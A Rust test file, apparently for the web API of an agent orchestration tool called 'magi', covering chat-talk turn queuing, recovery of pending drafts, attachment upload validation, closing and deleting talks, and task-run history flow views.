6946                Questions::at(home.path().join("questions")),
6947                talks.clone(),
6948                home.path().join("runs"),
6949                home.path().to_path_buf(),
6950                repo.clone(),
6951            )
6952            .with_worktrees_root(home.path().join("wt")),
6953        );
6954        let cfg = config_for(&repo).await.expect("discover config");
6955
6956        for attempt in 0..3u32 {
6957            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6958            let id = talk.id.clone();
6959            // A turn is already running, which is what sends `talk_say` down
6960            // the busy branch.
6961            let turn_guard = ui
6962                .begin_talk_turn(&id)
6963                .expect("claim the turn")
6964                .expect("a fresh talk owes nobody a turn");
6965
6966            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
6967            let (release_tx, release_rx) = std::sync::mpsc::channel();
6968            ui.set_busy_queue_gate(BusyQueueGate {
6969                reached: reached_tx,
6970                release: release_rx,
6971            });
6972
6973            let handler = tokio::spawn(talk_say(
6974                State(Arc::clone(&ui)),
6975                Path(id.clone()),
6976                Ok(Json(NewTalkTurn {
6977                    text: "what does the queue module do?".to_owned(),
6978                    attachments: Vec::new(),
6979                })),
6980            ));
6981
6982            // Wait for the busy branch to actually reach the gate, rather
6983            // than for any fixed number of polls of anything - a bounded
6984            // wait rather than a bare `.await` so a regression that never
6985            // reaches the gate fails the test instead of hanging it.
6986            tokio::time::timeout(Duration::from_secs(5), reached_rx)
6987                .await
6988                .unwrap_or_else(|_| {
6989                    panic!(
6990                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
6991                    )
6992                })
6993                .expect("the busy branch dropped the gate without using it");
6994
6995            // The turn that was running now finishes and gives the slot up
6996            // the way a real one does - through `drain_loop`, which finds
6997            // nothing queued yet (the write is still held at the gate) and
6998            // releases. The handler, parked inside `spawn_blocking` on the
6999            // other side of the gate, still believes the talk is busy -
7000            // exactly the interleaving the reclaim exists for.
7001            let running = talks.get(&id).expect("reload talk");
7002            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
7003
7004            // Drop the handler future now, the way a reloading phone drops
7005            // it: suspended waiting on the busy branch's answer, having
7006            // itself made no more progress since it handed the write off.
7007            handler.abort();
7008            let _ = handler.await;
7009
7010            // Only now let the gated write proceed. It persists the draft
7011            // and reclaims the now-free slot from inside the task the busy
7012            // branch already spawned - unaffected by the handler's abort
7013            // above, since that task was independent of the handler's own
7014            // future from the moment it was spawned.
7015            let _ = release_tx.send(());
7016
7017            // A settled talk: the draft drained into an operator turn and
7018            // answered.
7019            let mut fresh = talks.get(&id).expect("reload talk");
7020            for _ in 0..SETTLE_STEPS {
7021                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
7022                    break;
7023                }
7024                tokio::time::sleep(Duration::from_millis(10)).await;
7025                fresh = talks.get(&id).expect("reload talk");
7026            }
7027            assert!(
7028                fresh.pending.is_empty() && fresh.turns.len() == 2,
7029                "attempt {attempt}: talk {id} left the operator's text queued \
7030                 with no drainer - the reclaimed turn was dropped along with \
7031                 the handler future (pending {:?}, {} turns)",
7032                fresh.pending,
7033                fresh.turns.len()
7034            );
7035        }
7036    }
7037
7038    #[tokio::test]
7039    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
7040        let (_tmp, _repo, f) = talk_fixture().await;
7041        let id = f.post("/api/talks", None).await.json()["id"]
7042            .as_str()
7043            .expect("id")
7044            .to_owned();
7045        let store = f.talks();
7046        let mut recovered = store.get(&id).expect("opened talk");
7047        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
7048            .expect("persist pending draft without a live turn");
7049
7050        let edited = f
7051            .post(
7052                &format!("/api/talks/{id}/pending/edit"),
7053                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
7054            )
7055            .await;
7056        assert_eq!(edited.status, 200, "{}", edited.body);
7057        assert!(edited.json()["thinking"].as_bool().unwrap());
7058
7059        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
7060        for _ in 0..SETTLE_STEPS {
7061            if detail["turns"].as_array().expect("turns").len() == 2 {
7062                break;
7063            }
7064            tokio::time::sleep(Duration::from_millis(10)).await;
7065            detail = f.get(&format!("/api/talks/{id}")).await.json();
7066        }
7067        let turns = detail["turns"].as_array().expect("turns");
7068        assert_eq!(
7069            turns.len(),
7070            2,
7071            "the recovered draft must run once: {detail}"
7072        );
7073        assert_eq!(turns[0]["body"], "corrected");
7074        assert_eq!(detail["pending"], "");
7075    }
7076
7077    #[tokio::test]
7078    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
7079        let tmp = TempDir::new().expect("tempdir");
7080        let repo = tmp.path().join("repo");
7081        std::fs::create_dir_all(&repo).expect("repo dir");
7082        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
7083        let f = Fixture::with_repo(repo).await;
7084        let id = f.post("/api/talks", None).await.json()["id"]
7085            .as_str()
7086            .expect("id")
7087            .to_owned();
7088        let store = f.talks();
7089        let mut recovered = store.get(&id).expect("opened talk");
7090        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
7091            .expect("persist pending draft without a live turn");
7092
7093        let refused = f
7094            .post(
7095                &format!("/api/talks/{id}/say"),
7096                Some(r#"{"text":"new message"}"#),
7097            )
7098            .await;
7099        assert_eq!(refused.status, 409, "{}", refused.body);
7100        assert!(refused.body.contains("resume"), "{}", refused.body);
7101        let saved = store.get(&id).expect("draft remains after refusal");
7102        assert!(saved.turns.is_empty());
7103        assert_eq!(saved.pending, "saved before restart");
7104
7105        let say_path = format!("/api/talks/{id}/say");
7106        let (first, second) = tokio::join!(
7107            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
7108            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
7109        );
7110        assert_eq!(first.status, 409, "{}", first.body);
7111        assert_eq!(second.status, 409, "{}", second.body);
7112        let saved = store
7113            .get(&id)
7114            .expect("draft remains after concurrent refusals");
7115        assert!(saved.turns.is_empty());
7116        assert_eq!(saved.pending, "saved before restart");
7117
7118        let resumed = f
7119            .post(&format!("/api/talks/{id}/pending/resume"), None)
7120            .await;
7121        assert_eq!(resumed.status, 202, "{}", resumed.body);
7122        let duplicate = f
7123            .post(&format!("/api/talks/{id}/pending/resume"), None)
7124            .await;
7125        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
7126
7127        for _ in 0..SETTLE_STEPS {
7128            if store.get(&id).expect("talk").turns.len() == 2 {
7129                break;
7130            }
7131            tokio::time::sleep(Duration::from_millis(10)).await;
7132        }
7133        let finished = store.get(&id).expect("finished talk");
7134        assert_eq!(finished.turns.len(), 2, "{finished:?}");
7135        assert_eq!(finished.turns[0].body, "saved before restart");
7136        assert!(finished.pending.is_empty());
7137    }
7138
7139    #[tokio::test]
7140    async fn an_image_only_recovered_draft_resumes_without_text() {
7141        let (_tmp, _repo, f) = talk_fixture().await;
7142        let id = f.post("/api/talks", None).await.json()["id"]
7143            .as_str()
7144            .expect("id")
7145            .to_owned();
7146        let uploaded = f
7147            .post_bytes(
7148                &format!("/api/talks/{id}/attachments"),
7149                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
7150                PNG_BYTES,
7151            )
7152            .await;
7153        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
7154        let attachment = f
7155            .talks()
7156            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
7157            .expect("attachment metadata")
7158            .expect("stored attachment");
7159        let store = f.talks();
7160        let mut recovered = store.get(&id).expect("opened talk");
7161        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
7162
7163        let resumed = f
7164            .post(&format!("/api/talks/{id}/pending/resume"), None)
7165            .await;
7166        assert_eq!(resumed.status, 202, "{}", resumed.body);
7167        for _ in 0..SETTLE_STEPS {
7168            if store.get(&id).expect("talk").turns.len() == 2 {
7169                break;
7170            }
7171            tokio::time::sleep(Duration::from_millis(10)).await;
7172        }
7173        let finished = store.get(&id).expect("finished talk");
7174        assert_eq!(finished.turns.len(), 2, "{finished:?}");
7175        assert!(finished.turns[0].body.is_empty());
7176        assert_eq!(finished.turns[0].attachments.len(), 1);
7177        assert!(finished.pending_attachments.is_empty());
7178    }
7179
7180    #[tokio::test]
7181    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
7182        let (_tmp, _repo, f) = talk_fixture().await;
7183        let id = f.post("/api/talks", None).await.json()["id"]
7184            .as_str()
7185            .expect("id")
7186            .to_owned();
7187        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
7188        assert_eq!(closed.status, 200, "{}", closed.body);
7189        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
7190            .expect("serialize closed talk");
7191        for (path, body) in [
7192            (format!("/api/talks/{id}/pending/resume"), None),
7193            (
7194                format!("/api/talks/{id}/pending/clear"),
7195                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
7196            ),
7197            (
7198                format!("/api/talks/{id}/pending/edit"),
7199                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
7200            ),
7201            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
7202        ] {
7203            let response = f.post(&path, body).await;
7204            assert_eq!(response.status, 409, "{}", response.body);
7205        }
7206        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
7207            .expect("serialize closed talk");
7208        assert_eq!(
7209            after_clear, before_clear,
7210            "clear must not rewrite a closed talk"
7211        );
7212    }
7213
7214    /// Keeps both claims observable long enough to exercise the distinction
7215    /// between one busy talk and a globally locked Chat surface.
7216    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
7217
7218    #[tokio::test]
7219    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
7220        let tmp = TempDir::new().expect("tempdir");
7221        let repo = tmp.path().join("repo");
7222        std::fs::create_dir_all(&repo).expect("repo dir");
7223        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
7224        let f = Fixture::with_repo(repo).await;
7225        let id_a = f.post("/api/talks", None).await.json()["id"]
7226            .as_str()
7227            .unwrap()
7228            .to_owned();
7229        let id_b = f.post("/api/talks", None).await.json()["id"]
7230            .as_str()
7231            .unwrap()
7232            .to_owned();
7233
7234        let a = f
7235            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
7236            .await;
7237        assert_eq!(a.status, 202, "{}", a.body);
7238        assert_eq!(a.json()["thinking"], true);
7239        let b = f
7240            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
7241            .await;
7242        assert_eq!(b.status, 202, "{}", b.body);
7243        assert_eq!(b.json()["thinking"], true);
7244
7245        let listed = f.get("/api/talks").await.json();
7246        for id in [&id_a, &id_b] {
7247            let view = listed
7248                .as_array()
7249                .unwrap()
7250                .iter()
7251                .find(|talk| talk["id"] == *id)
7252                .unwrap();
7253            assert_eq!(view["thinking"], true, "{listed}");
7254        }
7255        let repeated = f
7256            .post(
7257                &format!("/api/talks/{id_a}/say"),
7258                Some(r#"{"text":"again"}"#),
7259            )
7260            .await;
7261        assert_eq!(repeated.status, 202, "{}", repeated.body);
7262        assert_eq!(repeated.json()["pending"], "again");
7263    }
7264
7265    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
7266    /// few more, since real uploads are never exactly eight bytes.
7267    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
7268
7269    #[tokio::test]
7270    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
7271        let f = Fixture::start().await;
7272        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
7273
7274        let res = f
7275            .post_bytes(
7276                &format!("/api/talks/{id}/attachments"),
7277                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
7278                PNG_BYTES,
7279            )
7280            .await;
7281        assert_eq!(res.status, 201, "{}", res.body);
7282        let body = res.json();
7283        assert_eq!(body["name"], "shot.png");
7284        assert_eq!(body["mime"], "image/png");
7285        assert_eq!(body["bytes"], PNG_BYTES.len());
7286        let att_id = body["id"].as_str().expect("id").to_owned();
7287        assert_eq!(
7288            att_id.len(),
7289            32,
7290            "the id must never be a client-suppliable path: {att_id}"
7291        );
7292
7293        let got = f
7294            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
7295            .await;
7296        assert_eq!(got.status, 200, "{}", got.body);
7297        assert_eq!(got.header("content-type"), Some("image/png"));
7298        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
7299        assert_eq!(got.bytes, PNG_BYTES);
7300    }
7301
7302    #[tokio::test]
7303    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
7304        let f = Fixture::start().await;
7305        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
7306
7307        // SVG can carry a `<script>`, so it is never on the whitelist even
7308        // though it is a real IANA image type.
7309        let svg = f
7310            .post_bytes(
7311                &format!("/api/talks/{id}/attachments"),
7312                &[("Content-Type", "image/svg+xml")],
7313                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
7314            )
7315            .await;
7316        assert!(
7317            (400..500).contains(&svg.status),
7318            "svg must be refused: {} {}",
7319            svg.status,
7320            svg.body
7321        );
7322        assert!(svg.body.contains("SVG"), "{}", svg.body);
7323
7324        let text = f
7325            .post_bytes(
7326                &format!("/api/talks/{id}/attachments"),
7327                &[("Content-Type", "text/plain")],
7328                b"just some text",
7329            )
7330            .await;
7331        assert!(
7332            (400..500).contains(&text.status),
7333            "an unlisted type must be refused: {} {}",
7334            text.status,
7335            text.body
7336        );
7337
7338        // The declared type is a real png, but the size check runs before
7339        // the bytes are even looked at.
7340        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
7341        let big = f
7342            .post_bytes(
7343                &format!("/api/talks/{id}/attachments"),
7344                &[("Content-Type", "image/png")],
7345                &oversized,
7346            )
7347            .await;
7348        assert_eq!(
7349            big.status,
7350            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
7351            "{}",
7352            big.body
7353        );
7354    }
7355
7356    #[tokio::test]
7357    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
7358        let f = Fixture::start().await;
7359        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
7360
7361        // A whitelisted `Content-Type`, but bytes that are not actually a
7362        // png - the declared header alone is never trusted.
7363        let res = f
7364            .post_bytes(
7365                &format!("/api/talks/{id}/attachments"),
7366                &[("Content-Type", "image/png")],
7367                b"<html>not a picture</html>",
7368            )
7369            .await;
7370        assert!((400..500).contains(&res.status), "{}", res.body);
7371    }
7372
7373    #[tokio::test]
7374    async fn an_unknown_attachment_id_is_a_404() {
7375        let f = Fixture::start().await;
7376        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
7377
7378        let res = f
7379            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
7380            .await;
7381        assert_eq!(res.status, 404, "{}", res.body);
7382    }
7383
7384    #[tokio::test]
7385    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
7386        let f = Fixture::start().await;
7387        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
7388
7389        let uploaded = f
7390            .post_bytes(
7391                &format!("/api/talks/{id}/attachments"),
7392                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
7393                PNG_BYTES,
7394            )
7395            .await;
7396        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
7397        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
7398
7399        let res = f
7400            .post(
7401                &format!("/api/talks/{id}/say"),
7402                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
7403            )
7404            .await;
7405        assert_eq!(res.status, 202, "{}", res.body);
7406        let queued = res.json();
7407        let turns = queued["turns"].as_array().expect("turns array");
7408        assert_eq!(
7409            turns.len(),
7410            1,
7411            "an empty body with an attachment is still a turn: {queued}"
7412        );
7413        assert_eq!(turns[0]["who"], "operator");
7414        assert_eq!(turns[0]["body"], "");
7415        let atts = turns[0]["attachments"]
7416            .as_array()
7417            .expect("attachments array");
7418        assert_eq!(atts.len(), 1);
7419        assert_eq!(atts[0]["id"], att_id);
7420        assert_eq!(atts[0]["mime"], "image/png");
7421
7422        // Not only in the response: `record` flushes to disk before the
7423        // agent's own turn is even spawned.
7424        let on_disk = f.talks().get(&id).expect("get");
7425        assert_eq!(on_disk.turns[0].attachments.len(), 1);
7426        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
7427    }
7428
7429    #[tokio::test]
7430    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
7431        let f = Fixture::start().await;
7432        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
7433
7434        let res = f
7435            .post(
7436                &format!("/api/talks/{id}/say"),
7437                Some(&format!(
7438                    r#"{{"text":"hi","attachments":["{}"]}}"#,
7439                    "a".repeat(32)
7440                )),
7441            )
7442            .await;
7443        assert!((400..500).contains(&res.status), "{}", res.body);
7444        assert!(res.body.contains("unknown attachment"), "{}", res.body);
7445
7446        let on_disk = f.talks().get(&id).expect("get");
7447        assert!(
7448            on_disk.turns.is_empty(),
7449            "a rejected attachment id must not partially record the turn: {:?}",
7450            on_disk.turns
7451        );
7452    }
7453
7454    #[tokio::test]
7455    async fn talk_close_makes_the_talk_refuse_further_turns() {
7456        let f = Fixture::start().await;
7457        let id = seed_talk(&f, "20260904-014455-cd34", "open");
7458
7459        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
7460        assert_eq!(closed.status, 200, "{}", closed.body);
7461        assert_eq!(closed.json()["status"], "closed");
7462
7463        // Idempotent: closing an already-closed talk is not an error.
7464        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
7465        assert_eq!(closed_again.status, 200);
7466        assert_eq!(closed_again.json()["status"], "closed");
7467
7468        let said = f
7469            .post(
7470                &format!("/api/talks/{id}/say"),
7471                Some(r#"{"text":"too late"}"#),
7472            )
7473            .await;
7474        assert_eq!(said.status, 409, "{}", said.body);
7475    }
7476
7477    #[tokio::test]
7478    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
7479        let (_tmp, _repo, f) = talk_fixture().await;
7480        let id = f.post("/api/talks", None).await.json()["id"]
7481            .as_str()
7482            .expect("id")
7483            .to_owned();
7484        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
7485        assert_eq!(closed.status, 200, "{}", closed.body);
7486
7487        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
7488        assert_eq!(reopened.status, 200, "{}", reopened.body);
7489        assert_eq!(reopened.json()["status"], "open");
7490
7491        // Idempotent: reopening an already-open talk is not an error.
7492        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
7493        assert_eq!(reopened_again.status, 200);
7494        assert_eq!(reopened_again.json()["status"], "open");
7495
7496        let said = f
7497            .post(
7498                &format!("/api/talks/{id}/say"),
7499                Some(r#"{"text":"still there?"}"#),
7500            )
7501            .await;
7502        assert_eq!(
7503            said.status, 202,
7504            "a reopened talk accepts turns again: {}",
7505            said.body
7506        );
7507    }
7508
7509    #[tokio::test]
7510    async fn talk_reopen_on_an_unknown_id_is_404() {
7511        let f = Fixture::start().await;
7512        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
7513        assert_eq!(res.status, 404, "{}", res.body);
7514    }
7515
7516    #[tokio::test]
7517    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
7518        let f = Fixture::start().await;
7519        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
7520
7521        let deleted = f.delete(&format!("/api/talks/{id}")).await;
7522        assert_eq!(deleted.status, 204, "{}", deleted.body);
7523
7524        let after = f.get(&format!("/api/talks/{id}")).await;
7525        assert_eq!(after.status, 404, "{}", after.body);
7526
7527        let listed = f.get("/api/talks").await.json();
7528        assert!(
7529            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
7530            "a deleted talk must not linger in the list: {listed}"
7531        );
7532    }
7533
7534    #[tokio::test]
7535    async fn talk_delete_on_an_unknown_id_is_404() {
7536        let f = Fixture::start().await;
7537        let res = f.delete("/api/talks/nonexistent-id").await;
7538        assert_eq!(res.status, 404, "{}", res.body);
7539    }
7540
7541    /// A task's page lists every run it ever had, in order, and says what kind
7542    /// of attempt each was - including a resume, which re-pushes the same run
7543    /// id, and a run whose record this build cannot read.
7544    #[tokio::test]
7545    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
7546        let f = Fixture::start().await;
7547        let (a, b, gone) = (
7548            "20260902-140501-aaaa",
7549            "20260902-140502-bbbb",
7550            "20260902-140503-cccc",
7551        );
7552        write_run(&f.runs(), a, RunStatus::Stalled);
7553        let mut review = RunState::new(
7554            PathBuf::from("/repo/magi"),
7555            "main".to_owned(),
7556            "0123456789abcdef".to_owned(),
7557            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
7558                .to_owned(),
7559            Config::default(),
7560        );
7561        review.id = b.to_owned();
7562        review.status = RunStatus::Merged;
7563        write_state(&f.runs(), &review);
7564
7565        let mut task = Task::new(
7566            "retry".to_owned(),
7567            "Do the thing".to_owned(),
7568            PathBuf::from("/repo/magi"),
7569            Source::Human,
7570        );
7571        task.start(a.to_owned());
7572        task.stall("quota");
7573        task.start(a.to_owned());
7574        task.start(b.to_owned());
7575        task.start(gone.to_owned());
7576        f.queue().put(&mut task).expect("file the task");
7577
7578        let res = f.get(&format!("/api/queue/{}", task.id)).await;
7579        assert_eq!(res.status, 200, "{}", res.body);
7580        let v = res.json();
7581        let h = v["history"].as_array().expect("history");
7582        assert_eq!(h.len(), 4, "{v}");
7583        assert_eq!(h[0]["kind"], "competition");
7584        assert_eq!(h[0]["status"], "stalled");
7585        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
7586        assert_eq!(h[1]["kind"], "resume", "{v}");
7587        assert!(
7588            h[0]["outcome"]
7589                .as_str()
7590                .unwrap()
7591                .contains("handed back; pass #2"),
7592            "an earlier pass of a resumed run must not claim the final outcome: {v}"
7593        );
7594        assert!(
7595            !h[1]["outcome"].as_str().unwrap().contains("handed back."),
7596            "{v}"
7597        );
7598        assert_eq!(h[2]["kind"], "review");
7599        assert!(
7600            h[2]["description"]
7601                .as_str()
7602                .unwrap()
7603                .contains("magi/aaaa/A")
7604        );
7605        assert_eq!(h[2]["status"], "merged");
7606        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
7607        assert_eq!(v["runs_unreadable"], 1);
7608        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
7609        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
7610        assert_eq!(nodes[4]["note"], "unreadable");
7611        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
7612        assert_eq!(v["instruction"], "Do the thing");
7613        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
7614
7615        // The run's own page links back to the task.
7616        let run = f.get(&format!("/api/runs/{a}")).await.json();
7617        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
7618
7619        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
7620    }
7621
7622    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
7623        let mut s = RunState::new(
7624            PathBuf::from("/repo/magi"),
7625            "main".to_owned(),
7626            "0123456789abcdef".to_owned(),
7627            "Do it".to_owned(),
7628            Config::default(),
7629        );
7630        s.status = status;
7631        edit(&mut s);
7632        s
7633    }
7634
7635    fn flow_task(runs: &[&str]) -> Task {
7636        let mut t = Task::new(
7637            "t".to_owned(),
7638            "Do it".to_owned(),
7639            PathBuf::from("/repo/magi"),
7640            Source::Human,
7641        );
7642        for r in runs {
7643            t.start((*r).to_owned());
7644        }
7645        t
7646    }
7647
7648    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
7649        let h = task_history(task, |id| {
7650            states
7651                .iter()
7652                .find(|(i, _)| *i == id)
7653                .and_then(|(_, s)| s.clone())
7654        });
7655        task_flow(task, &h, 5)
7656    }
7657
7658    const FA: &str = "20260902-140501-aaaa";
7659    const FB: &str = "20260902-140502-bbbb";
7660
7661    #[test]
7662    fn flow_follows_blocked_retry_merged_to_done() {
7663        let mut t = flow_task(&[FA, FB]);
7664        t.status = TaskStatus::Done;
7665        let f = flow_for(
7666            &t,
7667            &[
7668                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
7669                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
7670            ],
7671        );
7672        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
7673        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
7674        assert_eq!(f.edges.len(), 3);
7675        assert_eq!(f.edges[0].label, "claimed");
7676        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
7677        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
7678        assert_eq!(f.edges[2].label, "merged \u{2192} done");
7679        assert_eq!(
7680            f.nodes[2].href.as_deref(),
7681            Some("#/runs/20260902-140502-bbbb")
7682        );
7683        assert!(f.nodes[2].decided);
7684    }
7685
7686    #[test]
7687    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
7688        let quota = || {
7689            flow_run(RunStatus::Stalled, |s| {
7690                s.quota.push(crate::run::QuotaLoss {
7691                    seat: "judge-1".to_owned(),
7692                    node: "judge".to_owned(),
7693                    at: Timestamp::now(),
7694                    reset: None,
7695                })
7696            })
7697        };
7698        let mut t = flow_task(&[FA, FA]);
7699        t.status = TaskStatus::Queued;
7700        let f = flow_for(&t, &[(FA, Some(quota()))]);
7701        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
7702        assert_eq!(f.nodes[1].note, Some("interrupted"));
7703        assert_eq!(
7704            f.nodes[1].status, None,
7705            "no outcome copied onto an earlier pass"
7706        );
7707        assert_eq!(
7708            f.edges[1].attempt,
7709            AttemptCost::Unknown,
7710            "a resume does not prove the earlier pass was refunded"
7711        );
7712        assert!(f.edges[1].label.contains("resume the same run"));
7713        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
7714        assert_eq!(
7715            f.edges[2].label,
7716            "stalled after a resume, refund unknown \u{2192} queued"
7717        );
7718        assert!(!f.nodes[2].decided, "a stall is not a decision");
7719        assert_eq!(f.nodes[2].note, Some("no verdict"));
7720    }
7721
7722    #[test]
7723    fn flow_single_pass_quota_stall_is_refunded() {
7724        let t = flow_task(&[FA]);
7725        let f = flow_for(
7726            &t,
7727            &[(
7728                FA,
7729                Some(flow_run(RunStatus::Stalled, |s| {
7730                    s.quota.push(crate::run::QuotaLoss {
7731                        seat: "judge-1".to_owned(),
7732                        node: "judge".to_owned(),
7733                        at: Timestamp::now(),
7734                        reset: None,
7735                    })
7736                })),
7737            )],
7738        );
7739        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
7740    }
7741
7742    #[test]
7743    fn flow_parked_refunds_and_stall_without_quota_spends() {
7744        let mut t = flow_task(&[FA]);
7745        t.status = TaskStatus::Queued;
7746        let f = flow_for(
7747            &t,
7748            &[(
7749                FA,
7750                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
7751            )],
7752        );
7753        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
7754        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
7755        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
7756        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
7757        assert!(!f.nodes[1].decided);
7758    }
7759
7760    #[test]
7761    fn flow_keeps_an_unreadable_run_as_its_own_node() {
7762        let t = flow_task(&[FA, FB]);
7763        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
7764        assert_eq!(f.nodes[1].note, Some("unreadable"));
7765        assert!(!f.nodes[1].readable);
7766        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
7767        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
7768    }
7769
7770    #[test]
7771    fn flow_names_the_branch_of_a_review_only_run() {
7772        let t = flow_task(&[FA]);
7773        let f = flow_for(
7774            &t,
7775            &[(
7776                FA,
7777                Some(flow_run(RunStatus::Merged, |s| {
7778                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
7779                })),
7780            )],
7781        );
7782        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
7783        assert_eq!(
7784            f.nodes[1].detail.as_deref(),
7785            Some("review-only run of branch magi/x/A")
7786        );
7787    }
7788
7789    #[test]
7790    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
7791        let mut t = flow_task(&[FA]);
7792        t.status = TaskStatus::Held;
7793        let pr = crate::run::PrRecord {
7794            url: "https://example.test/pr/1".to_owned(),
7795            number: 1,
7796            state: "open".to_owned(),
7797            checks: "green".to_owned(),
7798            round: 0,
7799            rounds: 3,
7800            red_at_merge: Vec::new(),
7801        };
7802        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
7803        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
7804        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
7805        t.status = TaskStatus::Done;
7806        let f = flow_for(&t, &[(FA, Some(blocked))]);
7807        assert_eq!(f.edges[1].label, "closed by hand: task is done");
7808    }
7809
7810    #[test]
7811    fn flow_with_no_runs_goes_from_queued_to_queued() {
7812        let t = flow_task(&[]);
7813        let f = flow_for(&t, &[]);
7814        assert_eq!(f.nodes.len(), 2);
7815        assert_eq!(f.edges.len(), 1);
